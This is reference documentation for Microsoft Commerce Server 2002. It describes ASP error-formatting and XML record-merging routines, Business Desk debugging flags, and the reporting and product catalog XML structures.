Use this routine to format particular properties of the object returned by a call to the Internet Information Services (IIS) routine GetLastError into an HTML table. The table includes the following property values from the object, in the order shown: number, description, source, helpFile, and helpContext. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetASPError(oServerGetLastError)

Parameters

oServerGetLastError
The object returned by the IIS routine GetLastError, which this routine uses to format the HTML table.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

ASP Error
Asp code | xxx
Number | 345
Description | xxx
Source | xxx
File name | xxx
Line number | 432

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sGetADOError (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)

Client-Side Routines


sGetErrorById (server-side)

Use this routine to retrieve an error string from the global MessageManager object corresponding to a specific identifier. This routine is typically called to get a string to use as the sFriendlyError parameter of the routine SetError.

Definition

function sGetErrorById(sErrorId)

Parameters

sErrorId
A string that uniquely identifies a particular error string in the global MessageManager object.

Return Value

A string containing the retrieved error text.

Remarks

This routine helps enable simplified localization of a Web site by providing access to a centralized message store that can be localized independently from the code.

This routine retrieves strings from the global MessageManager object referenced by the global variable g_MSCSMessageManager.

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sFormatString (server-side)

Client-Side Routines


sGetScriptError (server-side)

Use this routine to format particular properties of a Microsoft Visual Basic Scripting Edition (VBScript) Err object into an HTML table. The table includes the following property values from the object, in the order shown: number, description, source, helpFile, and helpContext. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetScriptError(oErr)

Parameters

oErr
The VBScript Err object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

Script Error
Number | 0x345
Description | xxx
Source | xxx
Help file | xxx
Help context | xxx

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sFormatString (server-side)

sGetADOError (server-side)

sGetASPError (server-side)

sGetXMLError (server-side)

Client-Side Routines

sGetScriptError (client-side)


sGetXMLError (server-side)

Use this routine to format particular properties of the XML parseError object into an HTML table. The table includes the following property values from the object, in the order shown: errorCode, filePos, line, linePos, reason, srcText, and URL. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetXMLError(oXMLDocParseError)

Parameters

oXMLDocParseError
The XML parseError object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The XML parseError object is retrieved by calling the parseError method of an XML document.

The following is an example of the table to be displayed.

XML Error
Error code | 123
File pos | 456
Line | 789
Line pos | 123
Source text | xxx
URL | xxx

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sGetADOError (server-side)

sGetASPError (server-side)

sGetScriptError (server-side)

Client-Side Routines

sGetXMLError (client-side)


sMergeGroups2 (server-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML string.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function sMergeGroups2(xmlMaster,
                       xmlDetail,
                       sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a data element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

A string that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups3 (server-side)

xmlMergeGroups2 (server-side)

xmlMergeGroups3 (server-side)

Client-Side Routines

sMergeGroups2 (client-side)


sMergeGroups3 (server-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML string.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function sMergeGroups3(xmlMaster,
                       xmlGroup,
                       xmlDetail,
                       sMasterKeyId,
                       sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

A string that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups2 (server-side)

xmlMergeGroups2 (server-side)

xmlMergeGroups3 (server-side)

Client-Side Routines

sMergeGroups3 (client-side)


sRelURL2AbsURL (server-side)

Use this routine to convert a Uniform Resource Locator (URL) that is relative to the folder of the current action page into an absolute URL.

Definition

function sRelURL2AbsURL(sRelURL)

Parameters

sRelURL
A string containing a URL that is relative to the folder of the current action page.

Return Value

A string containing an absolute URL that is functionally equivalent to the relative URL passed in the sRelURL parameter.

Remarks

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


xmlGetCurrencies (server-side)

Use this routine to retrieve an XML DOM object that contains information about various currencies.

Definition

function xmlGetCurrencies()

Parameters

None.

Return Value

An XML DOMDocument object (ProgID: Microsoft.FreeThreadedXMLDOM) containing the contents of the file config\currencies.xml, potentially cached in the Application object during a prior invocation.

Remarks

This routine uses the routine xmlGetResource to accomplish its task, passing the string "MSCSCurrencies" as the name of the Application object variable under which the file contents are cached cached as an XML DOM object.

This routine is available in the include file ASPUtil.asp.

This routine was created for use by the Catalog modules.

See Also

Server-Side Routines

xmlGetLanguages (server-side)

xmlGetResource (server-side)

Client-Side Routines


xmlGetLanguages (server-side)

Use this routine to retrieve an XML DOM object that contains information about various languages.

Definition

function xmlGetLanguages()

Parameters

None.

Return Value

An XML DOMDocument object (ProgID: Microsoft.FreeThreadedXMLDOM) containing the contents of the file config\languages.xml, potentially cached in the Application object during a prior invocation.

Remarks

This routine uses the routine xmlGetResource to accomplish its task, passing the string "MSCSLanguages" as the name of the Application object variable under which the file contents are cached as an XML DOM object.

This routine is available in the include file ASPUtil.asp.

This routine was created for use by the Catalog modules.

See Also

Server-Side Routines

xmlGetCurrencies (server-side)

xmlGetResource (server-side)

Client-Side Routines


xmlGetRequestXML (server-side)

Use this routine to copy the XML in the request to an XML document.

Definition

function xmlGetRequestXML()

Parameters

None.

Return Value

An XML DOMDocument object containing the XML in the request.

Remarks

This routine expects XML in the form sent by the client routine xmlPostFormViaXML.

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

dGetRequestXMLAsDict (server-side)

Client-Side Routines

xmlPostFormViaXML (client-side)


xmlGetResource (server-side)

Use this routine to retrieve an XML DOM object that contains the contents of the specified XML file, potentially cached in the Application object during a prior invocation.

Definition

function xmlGetResource(byRef sResourceName,
                        byRef sResourceFile)

Parameters

sResourceName
A string containing the name of an Application object variable under which the contents of the file will be cached as an XML DOM object, or through which the previously cached XML DOM object will be retrieved from the Application object.
sResourceFile
A string containing the name of the file from which the XML DOM object will be loaded, in the event that it is not already cached in the Application object.

Return Value

An XML DOMDocument object (ProgID: Microsoft.FreeThreadedXMLDOM) containing the contents of the specified file, potentially cached in the Application object during a prior invocation.

Remarks

This routine is used by the routines xmlGetCurrencies and xmlGetLanguages to load and cache the contents of the XML files config\currencies.xml and config\languages.xml, respectively. It is general purpose in nature, and could be used to load and cache the contents of arbitrary XML files.

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

xmlGetCurrencies (server-side)

xmlGetLanguages (server-side)

Client-Side Routines


xmlGetXMLDOMDoc (server-side)

Use this routine to create an XML DOMDocument object with an empty documentElement property.

Definition

function xmlGetXMLDOMDoc()

Parameters

None.

Return Value

An XML DOMDocument object with an empty documentElement property.

Remarks

The string version of the returned document has the following form:

<document />

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddErrorNode (server-side)

AddItemNode (server-side)

AddWarningNode (server-side)

Client-Side Routines

xmlGetXMLDOMDoc (client-side)


xmlGetXMLFromQuery (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to all of the records returned by the specified query.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromQuery(sConnectionString,
                            sQuery)

Parameters

sConnectionString
A string containing an ActiveX Data Object (ADO) connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration Store using the GetSiteConfigField routine in the file ASPUtil.asp.
sQuery
A string containing a valid SQL query.

Return Value

An XMLDOMElement object containing record nodes that mirrors the data returned by the specified query.

Remarks

The conversion results in all of the data returned by the specified query being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQueryEx (server-side)

xmlGetXMLFromRS (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


xmlGetXMLFromQueryEx (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to some or all of the records returned by the specified query.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromQueryEx(sConnectionString,
                              sQuery,
                              nStartRecord,
                              nPageSize,
                              nExRecordCount,
                              dFormats)

Parameters

sConnectionString
A string containing an ActiveX Data Object (ADO) connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration store using the GetSiteConfigField routine in the file ASPUtil.asp.
sQuery
A string containing a valid SQL query.
nStartRecord
A number specifying the position in the query results of the first record to be converted. Positions are counted from 0 (zero). A value of –1 causes this parameter to be ignored, which has the same effect as passing a value of 0 (zero).
nPageSize
A number specifying the number of consecutive records to convert. A value of –1 causes all records in the recordset to be converted.
nExRecordCount
A number specifying a record count to override the count from the recordset. A value of –1 causes this parameter to be ignored, resulting in the record count from the Recordset object being used. Pass a value of 'TOO_BIG_TOO_COUNT' when the number of records makes it unreasonable to count them all.
dFormats
A Dictionary object that contains information used for special date/time mapping between ADO date/time formats and Commerce Server Business Desk date/time formats.

Return Value

An XML XMLDOMElement object containing record elements that mirror all or part of the data returned by the specified query.

Remarks

The conversion results in all or part of the data returned by the specified query being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

The dFormats parameter specifies a Dictionary object that is used to do special date and time related format mapping. The keys in this Dictionary object are the names of fields, and the values are either ActiveX Data Object (ADO) data type values, or a special value corresponding to the constant COMMERCE_SPLIT_DATE. Field names are looked up in this Dictionary object to determine the proper value to pass as the sType parameter of the routine AddFormattedNode. The following table shows these mappings.

Dictionary Value for Field Name Key | sType Value and Processing
AD_DATE, AD_DB_DATE, AD_DB_TIMESTAMP, AD_DB_TIME | sType parameter set to corresponding Dictionary object value.
COMMERCE_SPLIT_DATE Two calls to the AddFormattedNode routine are made with the following parameters:
  1. sName = <ADO field name>_date
    sValue = <ADO field value>
    sType = AD_DB_DATE
  2. sName = <ADO field name>_time
    sValue = <ADO field value>
    sType = AD_DB_TIME
All others. | sType parameter set to corresponding ADO Field type property.

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQuery (server-side)

xmlGetXMLFromRS (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


xmlGetXMLFromRS (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to all of the records in the specified ActiveX Data Object (ADO) Recordset object.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromRS(rsQuery)

Parameters

rsQuery
An ADO Recordset object, from which the records to be converted are retrieved.

Return Value

An XML XMLDOMElement object containing record elements that mirror the data in the specified ADO Recordset object.

Remarks

The conversion results in all of the data in the specified ADO recordset being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQuery (server-side)

xmlGetXMLFromQueryEx (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


xmlGetXMLFromRSEx (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to some or all of the records in the specified ActiveX Data Object (ADO) Recordset object.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromRSEx(rsQuery,
                           nStartRecord,
                           nPageSize,
                           nExRecordCount,
                           dFormats)

Parameters

rsQuery
An ADO Recordset object, from which the records to be converted are retrieved.
nStartRecord
A number specifying the position in the recordset of the first record to be converted. Positions are counted from 0 (zero). A value of –1 causes this parameter to be ignored, which has the same effect as passing a value of 0 (zero).
nPageSize
A number specifying the number of consecutive records to convert. A value of –1 causes all records in the recordset to be converted.
nExRecordCount
A number specifying a record count to override the count from the recordset. A value of –1 causes this parameter to be ignored, resulting in the record count from the Recordset object being used. Pass a value of 'TOO_BIG_TOO_COUNT' when the number of records makes it unreasonable to count them all.
dFormats
A Dictionary object that contains information used for special date/time mapping between ADO date/time formats and Commerce Server Business Desk date/time formats.

Return Value

An XML XMLDOMElement object containing record elements that mirror all or part of the data in the specified ADO Recordset object.

Remarks

The conversion results in all or part of the data in the specified ADO recordset being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

The dFormats parameter specifies a Dictionary object that is used to do special date and time related format mapping. The keys in this Dictionary object are the names of fields, and the values are either ActiveX Data Object (ADO) data type values, or a special value corresponding to the constant COMMERCE_SPLIT_DATE. Field names are looked up in this Dictionary object to determine the proper value to pass as the sType parameter of the routine AddFormattedNode. The following table shows these mappings.

Dictionary Value for Field Name Key | sType Value and Processing
AD_DATE, AD_DB_DATE, AD_DB_TIMESTAMP, AD_DB_TIME | sType parameter set to corresponding Dictionary object value.
COMMERCE_SPLIT_DATE Two calls to the AddFormattedNode routine are made with the following parameters:
  1. sName = <ADO field name>_date
    sValue = <ADO field value>
    sType = AD_DB_DATE
  2. sName = <ADO field name>_time
    sValue = <ADO field value>
    sType = AD_DB_TIME
All others. | sType parameter set to corresponding ADO Field type property.

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQuery (server-side)

xmlGetXMLFromQueryEx (server-side)

xmlGetXMLFromRS (server-side)

Client-Side Routines


xmlMergeGroups2 (server-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both of these sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function xmlMergeGroups2(xmlMaster,
                         xmlDetail,
                         sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a data element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

An XML DOMDocument object that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups2 (server-side)

sMergeGroups3 (server-side)

xmlMergeGroups3 (server-side)

Client-Side Routines

xmlMergeGroups2 (client-side)


xmlMergeGroups3 (server-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function xmlMergeGroups3(xmlMaster,
                         xmlGroup,
                         xmlDetail,
                         sMasterKeyId,
                         sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

An XML DOMDocument object that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups2 (server-side)

sMergeGroups3 (server-side)

xmlMergeGroups2 (server-side)

Client-Side Routines

xmlMergeGroups3 (client-side)


xmlXMLFromDict (server-side)

Use this routine to convert a Dictionary object into an XML document.

Definition

function xmlXMLFromDict(byRef dDict)

Parameters

dDict
A Dictionary object to be converted to XML.

Return Value

An XML DOMDocument object containing an item element for each entry in the Dictionary object.

Remarks

Each item element is given two attributes, name and value, initialized to the name and value of each entry in the Dictionary object, as follows:

<item name="keyname" value="value"/>

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm.

See Also

Server-Side Routines

dDictFromXML (server-side)

Client-Side Routines

dDictFromXML (client-side)

xmlXMLFromDict (client-side)

xmlXMLFromForm (client-side)


Debugging Business Desk

The Business Desk Framework includes a number of debugging capabilities of which you should be aware. There are also some miscellaneous factors that you should keep in mind. These can be divided into the following categories:

  • XML Configuration File Changes
  • Debugging HTC Problems
  • XMLHTTP Debugging in Framework Routines
  • XMLHTTP Debugging in the ListSheet and TreeView HTCs
  • Global Flags for Debugging

XML Configuration File Changes

Remember that after making changes to XML configuration files in the Config folder, you must restart the Internet Information Services (IIS) application before the changes will be visible in the user interface.

The output generated by the SHOW_OBJECT_ERRORS and VERBOSE_OUTPUT flags will only display the first time Commerce Server Business Desk is run after the IIS application is restarted. See Global Flags for Debugging for more information.

Debugging HTC Problems

The m_bDebug variable in each HTC file, when set to True, will show developer errors in alerts. You should try this technique whenever an HTC fails to load on the page.

Whenever you change settings in the HTCs, you may want to verify that Internet Explorer is configured to load pages every time they are requested.

To verify that Internet Explorer is configured to load pages every time they are requested

  1. In Internet Explorer, on the Tools menu, click Internet Options.
  2. On the General tab, in the Temporary Internet Files section, click Settings.
  3. In the Settings dialog box, verify that the Every visit to the page option is selected.

XMLHTTP Debugging in Framework Routines

The bDebug variable in the routines xmlPostFormViaXML and xmlUpdateServerState in the file HTTPXMLUtil.htm, when set to True, displays the data being sent and received when using XMLHTTP to post to server. These debug messages are displayed using the dlg_debug.htm page.

XMLHTTP Debugging in the ListSheet and TreeView HTCs

The m_bDebugHTTPXML variable in the HTC files ListSheet.htc and TreeView.htc, when set to True, will display debug information from within the routine xmlPostToServer. It will display the data being sent and received when using XMLHTTP operations. It will display three alerts for each XMLHTTP fetch operation: one for the data that is sent, one for the returned text, and one for the returned XML.

Whenever you change settings in the HTCs, you may want to verify that Internet Explorer is configured to load pages every time they are requested.

To verify that Internet Explorer is configured to load pages every time they are requested

  1. In Internet Explorer, on the Tools menu, click Internet Options.
  2. On the General tab, in the Temporary Internet Files section, click Settings.
  3. In the Settings dialog box, verify that the Every visit to the page option is selected.

Global Flags for Debugging

The MSCSEnv variable in the Global.asa file for Business Desk, when changed from PRODUCTION to DEVELOPMENT, or vice versa, will modify many of the following debug flags at once:

VERBOSE_OUTPUT
When set to True, shows detailed output while loading the XML configuration upon application start, then shows tables representing Dictionary objects stored in the application. Select Refresh in the context menu or click F5 to load Business Desk when you are done looking at the output.
SHOW_OBJECT_ERRORS
When set to True, shows XML and other errors in a modeless dialog box upon loading the XML configuration.
AUTO_REDIRECT_ENABLED
When set to True, keeps users from loading a Business Desk page outside the normal Business Desk frame structure (which is enforced in the file BizDeskUtil.asp).
FORCE_HTA_ONLY
When set to True, disallows browsing Business Desk outside of the HTML Application (HTA) provided by the client installation. Setting this variable to False allows you to use the URL "//servername/bizdeskrootname/bizdesk.asp" to run Business Desk in a normal browser.
ALLOW_CONTEXT_MENUS
When set to True, allows right-click context menus so that you can use Refresh and View Source to investigate page failures.
SHOW_DEBUG_TEXT
When set to True, shows a variety of debug information in various ways, as follows:
1. Task button and module link targets on mouseover.
2. Disabled modules as ERROR (usually file not found) or FILTERED (by the security mechanism) rather than removing them altogether.
3. Contents of the Request, Session, and Application objects in legend area of status bar.
4. The state of the g_bDirty, g_bRequired, and g_bValid flags for the page in the title bar.


XML Reference

Extensible Markup Language (XML) is used extensively by Microsoft Commerce Server 2002. Different features use XML in different ways, resulting in a variety of defined XML structures. This section provides reference documentation for these various XML structures.

This section contains:

  • Catalog XML Structures. Describes the XML structure in which product catalogs must be represented in order to be imported into the Product Catalog System.
  • Business Desk XML Structures. Describes the various XML structures used by Commerce Server Business Desk, including those used to define category and module structure, those used by the various HTML Components (HTCs), and those used for security and international configuration.
  • Expression XML Structures. Describes the XML structure used by the expression architecture.
  • Profile XML Structures. Describes the XML schemas and data structures used by the Profile service.


Analysis/Reporting XML Structures

This section describes the minimal Extensible Markup Language (XML) structure needed for creating a dynamic report.

For online analytical processing (OLAP) reports, the cube name must be supplied. For SQL reports, a query must be provided.

After the report is displayed, the layout can be dynamically modified and the results saved from Commerce Server Business Desk.

The XML structure should not be directly edited after the report is initially created. Make any modifications to the report using the pivot control available through Business Desk.

XML Structure

<xml xmlns:x=''urn:schemas-microsoft-com:office:excel''>
<x:PivotTable>
   <x:OWCVersion>9.0.0.3821</x:OWCVersion>
   <x:DisplayFieldList/>
      <x:FieldListTop>300</x:FieldListTop>
      <x:FieldListLeft>800</x:FieldListLeft>
      <x:FieldListBottom>700</x:FieldListBottom>
      <x:FieldListRight>1000</x:FieldListRight>
   <x:CacheDetails/>
   <x:ConnectionString>ConnectionString</x:ConnectionString>
   [<x:CommandText>QueryString</x:CommandText>]
   [<x:DataMember>CubeName</x:DataMember>]
</x:PivotTable>
</xml>

The CommandText element is used only for SQL reports and contains the SQL query.

The DataMember element is used only for OLAP reports and contains the cube name.

The ConnectionString is one of the following types:

  • For SQL reports: "Provider=SQLOLEDB;Data Source=;Initial Catalog=;Integrated Security=SSPI"
  • For MDX reports: "Provider=MSOLAP;Data Source=;Initial Catalog=;Client Cache Size=25;Auto Synch Period=10000"

The values of the Data Source and Initial Catalog attributes are not specified in the connection string. These values are obtained from the Administration database at report run time.

See Also

Analysis/Reporting Schema

AsyncRpt2 Object

ReportRender2 Object

Running Reports


Catalog XML Structures

The Microsoft Commerce Server 2002 Catalog Extensible Markup Language (XML) format is designed to represent product catalogs in a format suitable for exchange between applications and for transport over the Internet.

The format itself is defined in an XML data schema, allowing it to be used with XML data-aware tools such, as BizTalk Server mapping tools.

The Commerce Server 2002 Catalog XML format is intended to represent a large variety of product catalogs, and for this reason uses the notion of a "meta-schema." That is, the way that a certain product may be represented in the format itself is defined in a schema definition section. This schema definition section defines the types of attributes that the catalog (or rather, catalog collection) stores to describe both products and categories, and defines the attributes recorded against different types of products and categories.

The Commerce Server Catalog XML format does not propose any fixed representation of particular types of products, but provides a means by which almost any product description can be recorded in a rich form.

The format also allows for multiple catalogs to be represented in one XML file.

This section contains:

  • XML Structure. Shows the XML structure.
  • XML Elements. Describes the XML elements and their relations.
  • Import Semantics. Describes the semantics that apply when importing a Commerce Server Catalog XML file.
  • XDR Schema. Shows the XML Data-Reduced (XDR) schema used to define the XML elements, attributes, and relations.


XML Structure

This section describes the Extensible Markup Language (XML) structure, elements, and attributes in a Microsoft Commerce Server catalog. In the following example, names that are not in italic refer to the elements of the XML structure. The first occurrence of each element is linked to documentation on that element. Names in italic are attributes associated with each element.

<MSCommerceCatalogCollection2 version>
   <CatalogSchema>
      <Definition name DefinitionType
                />
         <DefProperty />
         <DefVariantProperty />
      <Property AssignAll currency
                dataType DisplayInProductsList DisplayOnSite
                ExportToDW id IncludeInSpecSearch IsFreeTextSearchable
                IsRequired MinValue MaxValue Multilingual name />
            <DefaultValue language Value />
            <displayName language Value />
            <PropertyValue displayName language />
      </Property>
      <AttributeDefinition dataType                 MaxLength name AttributeType />
   </CatalogSchema>
   <Catalog name currency DateChanged DefaultLanguage
            endDate languages locale productUID
            ReportingLanguage startDate VariantUID weight_measuring_unit >
      <displayName language Value />
      <Category action DateChanged Definition                id isSearchable name PrimaryParentCategory
               listprice >
         <displayName value language />
         <ParentCategory />
         <Relationship name
                  relation targetCatalog targetCategory targetProduct />
            <RelationshipDescription
                     language Value />
      </Category>
      <Product action DateChanged Definition id listprice
               PrimaryParentCategory UseCategorypricing >
         <ParentCategory />
         <ProductVariant action DateChanged id listprice >
         </ProductVariant>
         <Relationship name relation targetCatalog
                  targetCategory targetProduct />
            <RelationshipDescription value language />
      </Product>
   </Catalog>
</MSCommerceCatalogCollection2>


XML Elements

The Microsoft Commerce Server Catalog Extensible Markup Language (XML) elements are divided into three groups:

  • MSCommerceCatalogCollection2. The root node for a Commerce Server Catalog XML file.
  • Catalog Schema Elements. These elements are used to extend the catalog: CatalogSchema, AttributeDefinition, Definition, Property, and PropertyValue.
  • Catalog Data Elements. These elements are used for the actual catalog and its members: Catalog, Category, Product, ProductVariant, and Relationship.

AttributeDefinition

Defines an attribute that can be used to describe an aspect of a property, such as its display name. This allows additional attributes to be defined on top of the built in ones.

Parent Elements: CatalogSchema

Child Elements: None

Attributes:

Name | Type | Description
dataType | enumeration | Valid types are: datetime money number string bignumber real float currency boolean text
MaxLength | number | The maximum length for string values of this attribute, not valid for other data types.
name | string | The name of the attribute definition.
AttributeType | enumeration | Valid types are: PropertyAttribute (default) CatalogAttribute

Catalog

Defines an individual catalog.

Parent Elements: MSCommerceCatalogCollection2

Child Elements: Category, Product, displayName

Attributes:

Name | Type | Description
name | string | The name of the catalog.
currency | string | The currency used in the catalog, expressed as a three letter ISO 4217 currency code. For example, USD, AUD, CDN, GBP, DEM, JPY.
DefaultLanguage | string | The culture code indicating the default language of the catalog.
endDate | string | The date the catalog validity expires. Used for documentation purposes only—Commerce Server does not apply any logic to this value.
languages | string | A comma-separated list of culture codes indicating the languages supported by the catalog.
locale | string | The locale of the catalog specified using a Windows Locale ID (LCID).
productUId | string | The name of the property that uniquely identifies products (or product families) in the catalog.
ReportingLanguage | string | Theculture code indicating the language to be used for catalog reporting.
startDate | string | The date the catalog is valid. Used for documentation purposes only—Commerce Server does not apply any logic to this value.
VariantUId | string | The name of the property that uniquely identifies product variants in the catalog. If the catalog does not contain products with variants, set this attribute to the same value as the value in the productIdentifier attribute.
